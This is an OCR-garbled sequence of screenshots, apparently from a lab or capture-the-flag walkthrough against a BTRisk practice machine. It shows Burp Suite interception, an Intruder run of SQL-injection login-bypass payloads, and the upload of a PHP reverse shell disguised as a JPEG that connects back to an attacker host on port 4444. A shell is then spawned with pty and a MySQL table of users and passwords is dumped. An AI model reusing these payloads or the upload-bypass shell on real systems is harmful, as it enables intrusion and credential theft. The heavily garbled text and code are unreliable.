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<script type="text/javascript®>

function control(){
var user = document.getElement Byld("user").value;
var pwd = document. getElementByld("pwd").value;

var str=user.substring{user.lastindex0f"@")+1, user.length);
e TS
5 . lp?. =="")){
alert{"Hack Denemesi 1!");
}

if (str!="btrisk.com"}{
alert("Yanlis Kullanici Bilgisi Denemektesiniz");

}
else{

document.loginform.submit();
}

}
</script>
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‘ Fiter: Hidng not found tems hdng €55, image and general binary content hiding 4x: responses; hiding empty folders

Host Methad | UAL Params| Sta_ 4| Length | MIME type | Tithe

Reguest | Response

Corrment

Time requ..

— i\hwtuthi previous match "

0 metches
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WA B IR, ZREFUMmEM, FFZ@btrisk.com, HMEBEE.

Configure Proxy Access tothe Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

® Manual proxy configuration

HTTP Proxy 127.0.0 Port

¥ Use this proxy server for all protocols
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8080
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Pararrs | Headars | Hex

POST fpersonel.. php KTTR/1.1

Host: 172.19.91.4

User-Agent: Mozilla/5.8 (X11; Linux uB6_64; rv:68.8) Gecko 20180181 Firefox/68.8
Accept: text/htal,application/xhtalsxal application/xal;q=0.9,%/%;q=0.8
(Accept -Language: en-US en;q=0_5

Accept-Encoding: gzip, deflate

Referer: http://172.13.91.4/legin. php

Content-Type: application/s-wiv-fors-urlencoded

Content-Length: 41

Connection: close

Upgrade- Insecure-Requests: 1

bullanyci_adi=%46btrisk. conbparola=123436

e
[t [ 1ty | websonkes oy | optins |

[ﬂ Request bo httpi172 19 91 460

[ Foward || Drop | bectison | Adin

Params | Headers | Hex Send to Spdar
POST /personelphp KTTP/1.1 o
Host: 172.19.91.4 i
User-Agent: Moz1lla/5.8 (X11; Linux x86_64; rv:68.8) 6 = Ctrka
Accept: text/htal,application/xhtal+xal,application Send to Sequencer
Accept-Language: en-US,en;q=b 5 Send to Comparer
::?“-Enh:tn:me‘gf:lg?qg d;: L4T1! h Sendto Desode

wrer: http: .19.91 4/\ogin.php ink
Content-Type: application/x-wew-form-urlancoded papa=n d
Conkent-Length: 41 Engagermant tools [Pro version anly] 4
tonn:;tiun; close Change request mathod
Upgrade-Insecure-Requests: 1 .
" H hange body encoding
kullanici_sdi=i4ibtrisk cosiparala=123436 Copy URL
Copey &= el comrnand I
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Target Payloads | Optiare

@ Payload Positions

Configure the pastions whate paylads wil be nserted inba the base requast Tha sttack type debarrrines the way in which payloads 2re sesigred to paylad postions - e help for ful detale

Attack typer l&w

POST /personel . php HTTP/1.1

Host: 172.19.91.4

User-Agent: Moz1lla/5.8 (X11; Lanux xB5_64; rv:66.6) Gecko/20108191 F1refox/66.0
Accept: text/htal, applicataon/xhtnl+aml, application/ml;q=0.9,%/%;¢=0.8
Accept-Language: en-US, en; g=0.5

hceept-Encoding: gzip, deflate

Referer: http://172.19.91.4/1ogin. php

Content-Type: application/x-wae-form-urlencoded

Content-Length: 41

Connection: cleose

Upgrade- Insecure-Requests: 1

kullanici_adi=48btrisk. comiparola=§123456§

r
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Payload Sets

=

You can define one or more payload sats The nurber of payload sets depends on the attack typ

Payhadset |1 v Payload count: 53 [approw)

Paylbadtype | Runbrne file |I'L Rlequest court: %9 (approxd
""_

Payload Options [Runtime file]

This paykoad type bets vou configure a file from which B read payload stings &t runtime

=

Select fle .. | | froct'SOLbR

Burp Fepeater Window Help
Targ Start attack encer | Decoder | Comparer | E
m!ﬂ?'.ace |Fro version anhy] F
1 Atively scan defined insertion points [Fro wersion anly] |
Tl Sendto Rapeater
Save attack config [Pro warsion anly] 3
~ Load attack config [Pra version arly] »
llal Copy attack config »
M tab hehawior ,lselsdepmismﬁeata:hmedeﬁ
Autornatic payload postions >
Configure predefined payload lsts [Pro version oniy] 18 (approd

Paylosdtype: | Runbime fle ___|t] Request count: 98 (zpprord
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‘ Fiter: Showng al terns

Requ. | Payhed Status  Emor  Timeo.. Length | Comment
£ el 00 O 0 =z
ELS " grd - 00 0[O ]=m
3 ar 1=1-- 00 O O 24
Ed ar200=1 00 o 0 244
L ar200=1 - 00 o 0 244
kL] erl=loets' 200 o 0 z0m
4 " or 1=1or =" 00 o O 44
4l 'or §=an 200 g 0 =@
4 "ord'="a 20 o O 44
4 Jorld="a 200 o 0 zm
44 “or[ta'="a 200 o O 244
45 hi* ar "a'="a 200 g O 244
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| Results | Target | Postiors ] Payhiads I[l.'.'lptm:-ns

| Fiter: Showng al items

Requ. & Payload Status Ermor  Timeo., Length Comment

34 foetl'e]- 200 U o 2m

] "eorl-" 200 L -

3 or 1=l i U O 20| Resut#35

a7 %2011 200 O O =

£ or20l=1 - 20 o (D

# forl=lort= 0 = J 2 Send to Intruder

40 "orl=lor"'=" 200 L O X

a1 — = = Send to Repasber

47 "o gty 200 o Sendto Sequencer

43 Yerl'a="a 00 22| Sendto Comparer [request]
44 " or ("gi="a 00 o aparer [resporse)
45 hi* or"a"="a a0 200 Show response in browser
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|. Target [ Prg ISpiﬂer l Scanner I Intruder | Repeater ISBqLEn:U l Decoder | Comparer | Extender ]Pr

[ # | Pequest o hitpif17213.91.4:80

| Forward | Drop Irtercept is on Adion

—

|R.‘-hr Paames | Headers | Hex

POST fgender. php HTTP/1.1

Host: 172.19.91.4

User-Agent: Mazalla/5.08 (X11; Linux x86_64; rv:60.0) Gecko/20100181 Firefox/60.0
Accept: text/htal, application/xhtal+xal application/xal q=0 9 %/%.q=0. 8
Accept-Language: en-U% en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.19.91 4/personel . php

Content-Type: sultipart/form-data; boundarym. «coeeevannnnnnnninannn. . B2094814415330472201850391017
Content-Length: 1331

Connection: close

anfa:le-hseure-?equests' 1

---e------B2094814415330472201850390017
Content-Disposition: form-data; name="dosya"; f1lename="shell jpg"

Content-Type: 1mage/jpeg ""-——-._____

«Tphp /**/ error_reportingi0); §ip="172.19.51.8°; Sport = 4444; 1f [{5f =

stream_socket_client

sf($1p, Sport); $s_type='strean’; } if 66 1s_callat )] {ss=sf(A
die'no socket funes'); } 2f (18s) { die('no suc s_type) { case 'strean’: §len= Fread(Ss, 4
s while (strienish) < slen) { swite sb .= fread(ss, $len-strienlsk)); break; ca:

1f (extension_loaded| " suhosin sin. executor. disable_eval’)) { ssuhosin_bypass=create_f

&5 1ny ge
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| #| Requestto hitp:17219.91.4-80

|Fbercept is on Adbon

POST fgonder. php HTTP/1.1

Host: 172.19.91.4

User-Agent : Mozalla/5.8 (X11; Linux x86_64; rv:E60_8) Gecko/20198181 Firefox/68.8
Accept: text/htnl, application/uhtal+xnl application/xal;q=0.9,"/%;q=0.8
Accept-Language: en-US en,q=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.19.91 4/personel . php

Content-Type: multipart/form-duta; boundarym..coonnnennnnnnnn . B2094814415330472201850391017

Content-Length: 1331
Connection: close
Upgrade- Insecure-Requests: 1

e e - BI04 1441533047 2201850 T
Content-Disposition: form-data; name="dosya"; f1lena

Content-Type: 1mage/ peq L

- ¢ @ ® 172.19.91.4/q0nd
& BRE-T, frek0iE

@ Youmustloginto this network before you can access the Internet.

Dosya yuklendi!

LB EAEEETE, WATshell.php, ik [E T shell.

€ ¢ @ @ 17219914
% BE-T, (Fitis

@ Youmustlogintothis network before you can access the Internet.

Index of /uploads

Name Last modified Size Description

& Parent Directory -
@ shell.jpg 2019-12-1108:35 1.1K

') shell.php 2019-12-1108:37 11K

Apache/2.4.7 (Ubuntu) Server at 172.19.91.4 Port 80

on 172.19.91.8:4444

) at 20819-12-11 16
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Name

Type Last m

dir
fil
fil
fil
T1l

config.php

yui et L-ilp

php
gin.pnhp

Sy A S A

]

4096

A — T &5, BFmysql.

ty.spawn('/bin/sh')"
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Type "help;' or '\h' for help. Type '\c' to clenttpse/blogecsdnpvétiiqiehd

IFERAEAMAPER.

adir information for completion of table column names
You can turn off this feature ¢er startup with -A

asd123*+* | ahmet muhasebe nazli | lokan
asd123*** | mahmut | memur C | tuha
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